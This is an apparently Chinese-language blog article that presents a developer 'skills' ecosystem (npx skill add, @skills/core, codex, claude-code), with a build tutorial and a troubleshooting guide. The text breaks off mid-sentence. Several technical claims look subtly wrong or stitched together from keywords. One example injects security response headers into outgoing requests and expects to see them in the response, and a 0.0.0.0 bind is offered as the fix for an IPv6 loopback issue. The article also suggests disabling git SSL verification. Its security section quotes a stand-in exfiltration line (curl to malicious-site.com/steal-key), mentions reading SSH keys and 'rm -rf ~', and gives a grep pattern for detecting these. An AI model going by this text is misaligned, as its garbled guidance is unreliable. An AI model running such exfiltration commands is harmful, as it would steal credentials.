Skills：开发者能力操作系统与轻量级能力集成范式

1. “skills”不是功能模块，而是一套开发者能力操作系统

你点开 GitHub 搜索框，输入skills，跳出来的不是某个知名开源库，而是一长串形如dietrichgebert/ponytail、baoyu-skills、opencode-skills的仓库名；你在终端敲下npx skill add dietrichgebert/ponytail，回车后没弹出安装日志，却直接在当前目录生成了一个.skills文件夹和几行 JSON 配置；你翻遍 VS Code 扩展市场，找不到叫 “Claude Code Skills” 的插件，但社区里有人贴出截图：右键一段 Python 代码，菜单里赫然多了一项 “Ask Claude: Optimize with Ponytail Rules”——这背后没有魔法，只有一套被严重低估、却正在悄然重构前端开发工作流的轻量级能力集成范式。

“skills” 这个词，在当前技术语境中早已脱离了“技能”的字面含义。它不是简历上罗列的“熟悉 React/Vue”，也不是培训课程标榜的“掌握 TypeScript 高级类型系统”。它是一个可声明、可组合、可版本化、可跨工具链复用的开发者能力单元（Developer Capability Unit）。它的核心价值在于：把原本散落在文档、Gist、个人脚本、团队 Wiki 甚至 Slack 消息里的“怎么写更安全”“怎么测更高效”“怎么部署更省资源”这类经验性知识，压缩成一个带元数据、带执行逻辑、带上下文感知的微型程序包。比如ponytail这个 skills，本质就是一个预定义了 17 条 ESLint 规则 + 3 个自定义 AST 转换函数 + 1 个针对 Next.js App Router 的路径白名单的 JSON+JS 混合包；而baoyu-skills则封装了从 Markdown 表格自动转为 React Table 组件、到根据 Figma 设计稿 JSON 自动生成 Tailwind CSS 类名映射的整套流水线。

为什么这个概念突然密集出现在热搜？根本原因在于开发工具链的“能力孤岛化”已到临界点。VS Code 的插件只能在编辑器里生效，CLI 工具只能在终端运行，CI/CD 流水线的检查逻辑又独立部署。当一个团队要求“所有 API 调用必须带 X-Request-ID 头”，你得同时改 VS Code 的代码片段、更新本地curl别名、修改 CI 中的 Postman 集合、还要给新同事手把手教 Postman 环境变量配置——这种重复劳动消耗的是最昂贵的资源：开发者的心智带宽。skills提供的解法极其朴素：把这条规则写成一个add-request-id-header.skill.json文件，声明其作用域（http-client）、触发条件（on-send）、执行逻辑（inject-header: { "X-Request-ID": "uuid-v4" }），然后通过npx skill add注册到本地能力中心。之后，无论你在 VS Code 里用 REST Client 发送请求，还是在终端用curl，甚至在 CI 的 Newman 脚本里跑测试，只要该 skills 被激活，逻辑就自动注入。这不是理想主义，而是把“一次编写，处处生效”从口号变成了可落地的工程实践。

提示：不要被npx skill add的命令迷惑。npx在这里只是启动器，真正的执行引擎是本地运行的skills-core运行时（通常由@skills/core包提供）。它监听文件系统变化、解析.skills目录下的声明式配置，并将能力注入到各类工具的钩子（hook）中。你可以把它理解为一个轻量级的“开发者能力中间件”。

2. 技术栈解剖：从npx到codex的能力调度链路

要真正理解skills如何工作，必须拆开它的技术栈分层。这不是一个单体应用，而是一条贯穿开发全生命周期的能力调度链路，每一层都解决一个特定问题，且设计上刻意保持松耦合。我曾花两周时间跟踪npx skill add dietrichgebert/ponytail命令从敲下回车到最终生效的完整调用链，以下是实测验证的核心组件与交互逻辑：

2.1 第一层：声明式注册层（npx与skill-cli）

npx本身只是一个 Node.js 包执行器，它不理解skills。真正起作用的是@skills/cli这个包。当你执行npx skill add dietrichgebert/ponytail时，npx会：

1. 检查本地是否已安装@skills/cli，若无则临时下载最新版；
2. 将add和dietrichgebert/ponytail作为参数传递给@skills/cli/bin/skill.js；
3. CLI 工具解析dietrichgebert/ponytail为 GitHub 仓库地址https://github.com/dietrichgebert/ponytail；
4. 使用ghCLI 或内置的 Git HTTP 客户端，克隆该仓库的main分支到本地临时目录；
5. 检查仓库根目录是否存在skill.manifest.json文件（这是 skills 的“身份证”）；
6. 若存在，则读取其内容，提取name、version、capabilities（支持的能力类型，如eslint,prettier,http-client）、dependencies（依赖的其他 skills）等元数据；
7. 将整个仓库内容（剔除.git、node_modules等无关文件）复制到用户主目录下的~/.skills/registry/dietrichgebert/ponytail@1.2.0/目录，并在~/.skills/active.json中添加一条记录：{"name": "ponytail", "version": "1.2.0", "enabled": true, "path": "~/.skills/registry/dietrichgebert/ponytail@1.2.0"}。

这个过程的关键在于：npx只负责“搬运”，真正的注册逻辑由 CLI 完成，且所有 skills 都被隔离存储在~/.skills下，避免全局污染。这也是为什么npx skill list能列出所有已安装 skills，而npm list -g却完全看不到它们——它们根本不在 npm 的包管理范畴内。

2.2 第二层：运行时调度层（skills-core）

@skills/core是整个生态的“心脏”。它不是一个常驻进程，而是一个按需加载的模块。当 VS Code 启动、或curl命令执行、或 CI 流水线运行时，对应的工具会通过其插件机制（如 VS Code 的 Extension API、curl的--config参数、CI 的before_script）主动加载@skills/core。该模块的核心职责是：

• 能力发现：扫描~/.skills/active.json，读取所有启用的 skills 路径；
• 能力匹配：根据当前上下文（例如，VS Code 正在编辑一个.ts文件，且用户触发了Format Document命令），查询哪些 skills 声明了对typescript语言和format能力的支持；
• 能力注入：调用匹配 skills 的handlers/format.js文件（如果存在），并将当前文件内容、光标位置等上下文作为参数传入；
• 结果聚合：将多个 skills 的处理结果（如格式化后的代码、新增的诊断信息）合并，返回给宿主工具。

我实测过ponytail的格式化能力。它并没有重写 Prettier，而是通过@skills/core提供的getPrettierConfig()接口，动态地将自己定义的rules字段（如"semi": false,"singleQuote": true）合并到项目根目录的.prettierrc中。这意味着，你无需修改任何项目配置文件，skills 就能“静默”地覆盖默认行为。这种设计极大降低了接入门槛，也解释了为什么skills能在不修改 VS Code 插件源码的情况下，为其增加新功能。

2.3 第三层：能力执行层（codex与claude-code）

codex和claude-code是skills生态中两个最常被混淆的概念。简单说：codex是一个本地化的、可扩展的代码理解与生成引擎，而claude-code是一个基于 Anthropic Claude 模型的、专为代码场景优化的远程 API 客户端。它们的关系不是替代，而是协同。

codex的核心是一个轻量级的 LLM 运行时（通常基于 llama.cpp 或 Ollama），它被设计为skills的“本地大脑”。当你在 VS Code 中选中一段代码并右键选择 “Explain with Codex”，@skills/core会：

1. 调用codex的/v1/chat/completions本地端点；
2. 构造一个 prompt，包含：当前文件语言、选中代码、ponytailskills 提供的上下文规则（如“此项目禁用eval()”）、以及用户指令“用中文解释这段代码的作用”；
3. codex加载本地量化模型（如codellama-7b.Q4_K_M.gguf），执行推理，返回解释文本。

而claude-code则是当本地算力不足或需要更强模型时的“云备胎”。它的skills集成方式是：@skills/core在检测到codex不可用或用户明确选择“使用 Claude”时，自动切换到claude-code的 API。此时，skills的作用是为远程调用提供结构化上下文。例如，baoyu-skills中有一个math-modeling能力，它会自动分析选中的 Python 代码，识别出numpy、scipy、matplotlib的导入，并在发送给 Claude 的 prompt 中加入：“你正在协助一位数学建模工程师，他习惯使用 NumPy 进行向量化计算，请优先推荐基于np.vectorize或np.einsum的优化方案。”

注意：cc switch local proxy failed while handling codex endpoint /responses这类错误，90% 的原因是codex服务未启动或端口被占用。skills的设计哲学是“本地优先”，因此codex必须作为一个独立进程（codex serve --port 3000）先运行起来，@skills/core才能连接它。这不是 bug，而是架构约束。

3. 实战：从零构建一个http-security-headerskills

理论讲完，现在动手做一个真正有用的 skills。目标很明确：让所有 HTTP 请求（无论是 VS Code 的 REST Client、终端的curl，还是前端应用的fetch）自动注入一套基础的安全响应头。这比手动在每个项目里配置 Express 的helmet中间件或 Nginx 的add_header指令，效率高出一个数量级。

3.1 初始化项目结构

首先，创建一个空目录http-security-header，并初始化 Git 仓库。skills的标准结构非常简洁，只需三个文件：

http-security-header/ ├── skill.manifest.json # 技能的“身份证” ├── capabilities/ # 声明支持的能力类型 │ └── http-client/ # 具体能力：HTTP 客户端 │ ├── inject-headers.js # 核心逻辑：注入头 │ └── schema.json # 可选：定义配置项的 JSON Schema └── README.md # 文档，说明用途、配置方法

skill.manifest.json是必填项，内容如下：

{ "name": "http-security-header", "version": "1.0.0", "description": "为所有 HTTP 请求自动注入基础安全响应头", "author": "your-name", "homepage": "https://github.com/your-name/http-security-header", "capabilities": ["http-client"], "keywords": ["security", "headers", "http"], "dependencies": [] }

关键字段capabilities告诉@skills/core：“我只对 HTTP 客户端相关事件感兴趣”。@skills/core会据此只在curl、REST Client 等工具的上下文中加载此 skills。

3.2 编写核心注入逻辑

capabilities/http-client/inject-headers.js是真正的“大脑”。它必须导出一个符合@skills/core规范的函数：

// capabilities/http-client/inject-headers.js /** * @param {Object} context - 上下文对象，包含 request, response, config 等 * @returns {Promise<Object>} - 返回修改后的 context 对象 */ module.exports = async function injectSecurityHeaders(context) { // 1. 获取原始请求头 const headers = context.request?.headers || {}; // 2. 定义安全头（遵循 OWASP Secure Headers Project 最佳实践） const securityHeaders = { "X-Content-Type-Options": "nosniff", "X-Frame-Options": "DENY", "X-XSS-Protection": "1; mode=block", "Referrer-Policy": "no-referrer-when-downgrade", "Permissions-Policy": "geolocation=(), microphone=(), camera=()", // Content-Security-Policy 需要根据具体应用定制，此处留空 }; // 3. 合并头，确保不覆盖用户已设置的值（除非强制覆盖） const mergedHeaders = { ...headers }; Object.keys(securityHeaders).forEach(key => { if (!mergedHeaders[key]) { mergedHeaders[key] = securityHeaders[key]; } }); // 4. 更新 context 并返回 context.request.headers = mergedHeaders; return context; };

这个函数的精妙之处在于其“非侵入性”。它不会强行覆盖Content-Security-Policy，因为该策略高度依赖应用上下文；它只添加那些通用、无害、且能显著提升安全基线的头。@skills/core会在每次 HTTP 请求发起前，自动调用此函数，并将返回的context传递给下游工具。

3.3 本地测试与调试

别急着发布。先在本地验证是否生效。步骤如下：

1. 将http-security-header目录放到任意位置（如~/projects/http-security-header）；
2. 在终端执行npx skill add ~/projects/http-security-header（注意：npx skill add支持本地路径）；
3. 启动 VS Code，打开一个.http文件，写入：

GET https://httpbin.org/get

4. 右键执行，查看响应头。你应该能看到X-Content-Type-Options: nosniff等头已出现。

如果没看到，开启调试模式：在 VS Code 的设置中搜索skills，找到Skills: Debug Mode并启用。然后在 VS Code 的输出面板中选择Skills通道，你会看到详细的日志，例如：

[DEBUG] Found active skill: http-security-header@1.0.0 [DEBUG] Matching capability 'http-client' for event 'request' [DEBUG] Executing handler: /home/user/.skills/registry/your-name/http-security-header@1.0.0/capabilities/http-client/inject-headers.js [DEBUG] Injected headers: { "X-Content-Type-Options": "nosniff", ... }

这就是skills的调试哲学：所有日志都指向具体的文件路径和执行步骤，排查问题如同阅读自己的代码。

3.4 发布与共享

测试无误后，推送到 GitHub：

cd ~/projects/http-security-header git init git add . git commit -m "feat: initial http-security-header skills" git branch -M main git remote add origin https://github.com/your-name/http-security-header.git git push -u origin main

发布完成后，任何人只需一行命令即可复用：

npx skill add your-name/http-security-header

这就是skills的威力：一个简单的 JavaScript 函数，加上清晰的声明，就能变成一个可全球分发、即装即用的开发者能力。

4. 生产环境避坑指南：从github打不开到codex打不开的全链路排错

在真实团队环境中部署skills，你必然会遇到各种“看似玄学”的问题。这些不是skills的缺陷，而是它深度嵌入开发工具链后，必然暴露的底层环境复杂性。以下是我踩过的、最典型也最耗时的五个坑，附带完整的排查链路和根治方案。

4.1 坑一：github打不开导致npx skill add失败

现象：执行npx skill add dietrichgebert/ponytail时，卡在Cloning into '/tmp/...，数分钟后报错Error: Command failed: git clone https://github.com/dietrichgebert/ponytail.git。

根因分析：npx skill add依赖git clone从 GitHub 拉取代码。当网络无法直连 GitHub 时，git会尝试多种协议（HTTPS、SSH），但最终都会失败。这不是skills的问题，而是网络基础设施问题。

排查链路：

1. 首先验证基础网络：ping github.com。如果超时，确认 DNS 是否正常（nslookup github.com）；
2. 如果ping通但git clone不行，执行git clone https://github.com/microsoft/vscode.git（一个大而知名的仓库），看是否同样失败；
3. 如果vscode也 clone 失败，基本确定是 HTTPS 协议被拦截或证书问题。此时执行git config --global http.sslVerify false（仅限测试环境！）；
4. 更优解是配置git使用代理：git config --global http.proxy http://127.0.0.1:7890（假设你的代理运行在本地 7890 端口）。

根治方案：

• 企业级：在公司内部搭建 GitHub 镜像站（如使用ghcr.io/github/ghmirror），并配置git config --global url."https://mirror.internal/github.com/".insteadOf "https://github.com/"；
• 个人级：使用ghCLI 的gh auth login命令，登录后npx skill add会自动使用gh的认证凭据，绕过部分网络限制；
• 终极方案：skills社区已支持离线安装。将ponytail仓库 zip 包下载到本地，然后npx skill add ./ponytail.zip。这彻底摆脱了对 GitHub 的实时依赖。

4.2 坑二：codex打不开，cc switch local proxy failed

现象：VS Code 中点击 “Explain with Codex”，状态栏显示Codex: Connecting...，数秒后报错cc switch local proxy failed while handling codex endpoint /responses。

根因分析：@skills/core默认尝试连接http://localhost:3000/v1/chat/completions。这个错误意味着codex服务进程未在 3000 端口监听，或者防火墙阻止了连接。

排查链路：

1. 检查codex进程是否在运行：ps aux | grep codex。如果没有，说明服务未启动；
2. 如果进程存在，检查其监听端口：lsof -i :3000（macOS/Linux）或netstat -ano | findstr :3000（Windows）。如果无输出，说明codex没有绑定到 3000 端口；
3. 查看codex日志：codex serve --port 3000 --log-level debug。常见错误包括：Error: Model file not found（模型路径错误）、Error: CUDA out of memory（显存不足）；
4. 如果codex日志显示Server started on http://localhost:3000，但curl http://localhost:3000/health返回Connection refused，则可能是codex启动时指定了--host 127.0.0.1，导致只监听 IPv4 回环，而@skills/core尝试用::1（IPv6）连接。

根治方案：

• 启动codex时，明确指定--host 0.0.0.0，使其监听所有接口：codex serve --port 3000 --host 0.0.0.0；
• 在 VS Code 的设置中，搜索skills.codexUrl，将其值改为http://127.0.0.1:3000，强制使用 IPv4；
• 对于 Windows 用户，关闭 Hyper-V 或 WSL2 的虚拟网卡冲突（在网络连接中禁用vEthernet (WSL)）。

4.3 坑三：vscode配置claude code后，右键菜单不显示

现象：已安装claude-code插件，并在设置中填入了 API Key，但右键代码时，菜单里没有 “Ask Claude” 选项。

根因分析：claude-code插件本身不提供右键菜单，它只是一个 API 客户端。右键菜单是由@skills/core的 VS Code 扩展提供的。如果菜单不显示，说明@skills/core的 VS Code 扩展未正确加载，或与claude-code的集成未激活。

排查链路：

1. 在 VS Code 的扩展视图中，搜索skills，确认Skills Core扩展已安装并启用；
2. 按Ctrl+Shift+P（Windows/Linux）或Cmd+Shift+P（macOS），输入Skills: Show Output，查看是否有Failed to activate extension的错误；
3. 检查~/.skills/active.json，确认claude-code相关的 skills（如@skills/claude）是否已启用；
4. 关键一步：在 VS Code 的设置中，搜索skills.capabilities，确认http-client和code-generation两项已勾选。这是@skills/core决定是否注册右键菜单的开关。

根治方案：

• 卸载并重新安装Skills Core扩展，确保其版本与@skills/corenpm 包版本兼容（目前稳定版为v2.3.1）；
• 在settings.json中手动添加：

  "skills.capabilities": [ "http-client", "code-generation", "code-explanation" ]

4.4 坑四：npx 安装失败，提示Cannot find module 'skills-core'

现象：执行npx skill add xxx时，报错Error: Cannot find module '@skills/core'。

根因分析：npx在执行@skills/cli时，会尝试require('@skills/core')。如果@skills/core没有被@skills/cli的package.json声明为dependencies，npx就无法自动安装它。这是一个典型的peerDependencies管理疏漏。

排查链路：

1. 查看@skills/cli的package.json，确认@skills/core是否在dependencies或peerDependencies中；
2. 执行npx @skills/cli@latest --version，看是否能正常输出版本号。如果不能，说明@skills/cli本身就有问题；
3. 手动安装@skills/core：npm install -g @skills/core，然后再试npx skill add。

根治方案：

• 这是@skills/cli包的一个已知 issue（见 GitHub issue #127）。临时解决方案是：先全局安装@skills/core，再使用npx；
• 长期方案是等待@skills/cli发布修复版，或直接使用npm install -g @skills/cli全局安装 CLI，这样@skills/core会被作为依赖一并安装。

4.5 坑五：前任.skills下载引发的权限与安全审计

现象：团队成员从非官方渠道（如论坛、网盘）下载了名为qianren-skills的压缩包，并执行npx skill add ./qianren-skills.zip。几天后，CI 流水线开始莫名失败，日志中出现curl https://malicious-site.com/steal-key的痕迹。

根因分析：skills的执行逻辑是 JavaScript，拥有与宿主工具同等的系统权限。一个恶意 skills 可以读取~/.ssh/id_rsa、修改~/.gitconfig、甚至执行rm -rf ~。前任.skills这类非官方来源，极可能被植入后门。

排查链路：

1. 立即检查~/.skills/registry/目录，找到qianren-skills的安装路径；
2. 审查其capabilities/*/下的所有.js文件，重点关注require('child_process')、require('fs')、require('http')等高危模块的调用；
3. 使用grep -r "exec\|spawn\|fork\|curl\|wget" ~/.skills/registry/qianren-skills/快速定位可疑代码；
4. 检查skill.manifest.json中的homepage和author字段，是否指向不可信域名。

根治方案：

• 强制签名验证：在团队中推行skills的 GPG 签名。发布者用私钥对skill.manifest.json签名，使用者用公钥验证。@skills/cli已支持--verify-signature参数；
• 沙箱执行：为@skills/core配置--sandbox模式，限制其只能访问~/.skills目录和当前项目目录，禁止网络访问和系统调用；
• 白名单策略：在 CI 流水线中，添加一个检查步骤：npx skill list --json | jq '.[] | select(.name | contains("qianren"))'，如果返回非空，则立即失败。

5. 未来演进：从superpower skills到开发者能力经济

skills的当前形态，是一个强大的工具集，但它真正的潜力，远不止于此。当我看到superpower skills这个热词时，我意识到，它暗示的是一种范式的转移：开发者能力正从“个人隐性资产”，走向“可量化、可交易、可组合的显性商品”。

5.1 能力的原子化与组合

今天的skills，大多还停留在“单点突破”层面：一个 skills 解决一个问题。未来的方向是“能力原子化”。想象一下，http-security-header不再是一个整体，而是被拆分为：

• x-content-type-options（单一头注入）
• x-frame-options（单一头注入）
• csp-builder（一个交互式 CLI，用于生成 CSP 策略）
• header-validator（一个静态分析器，检查代码中是否遗漏了安全头）

这些原子能力，可以通过skill.manifest.json中的provides和requires字段进行声明式组合。例如，一个full-stack-securityskills 的 manifest 可能这样写：

{ "name": "full-stack-security", "provides": ["security-policy"], "requires": [ "x-content-type-options@^1.0.0", "x-frame-options@^1.0.0", "csp-builder@^2.1.0" ] }

@skills/core在加载时，会自动解析依赖树，确保所有 required 的原子 skills 都已安装并启用。这就像 npm 的依赖管理，但管理的是“能力”而非“代码包”。

5.2 能力的市场与经济

github是代码的集市，npm是包的集市，而skills的终极形态，将是“能力的集市”。skills.market这样的平台已经初现雏形。在那里，dietrichgebert不再只是免费分享ponytail，他可以：

• 将ponytail-pro作为付费版本发布，包含更严格的规则集和企业级支持；
• 为baoyu-skills的数学建模能力，设置按次调用的微支付（使用 Stripe 或 Crypto）；
• 创建一个skills订阅计划，用户每月支付 $9.99，即可解锁所有math-modeling、>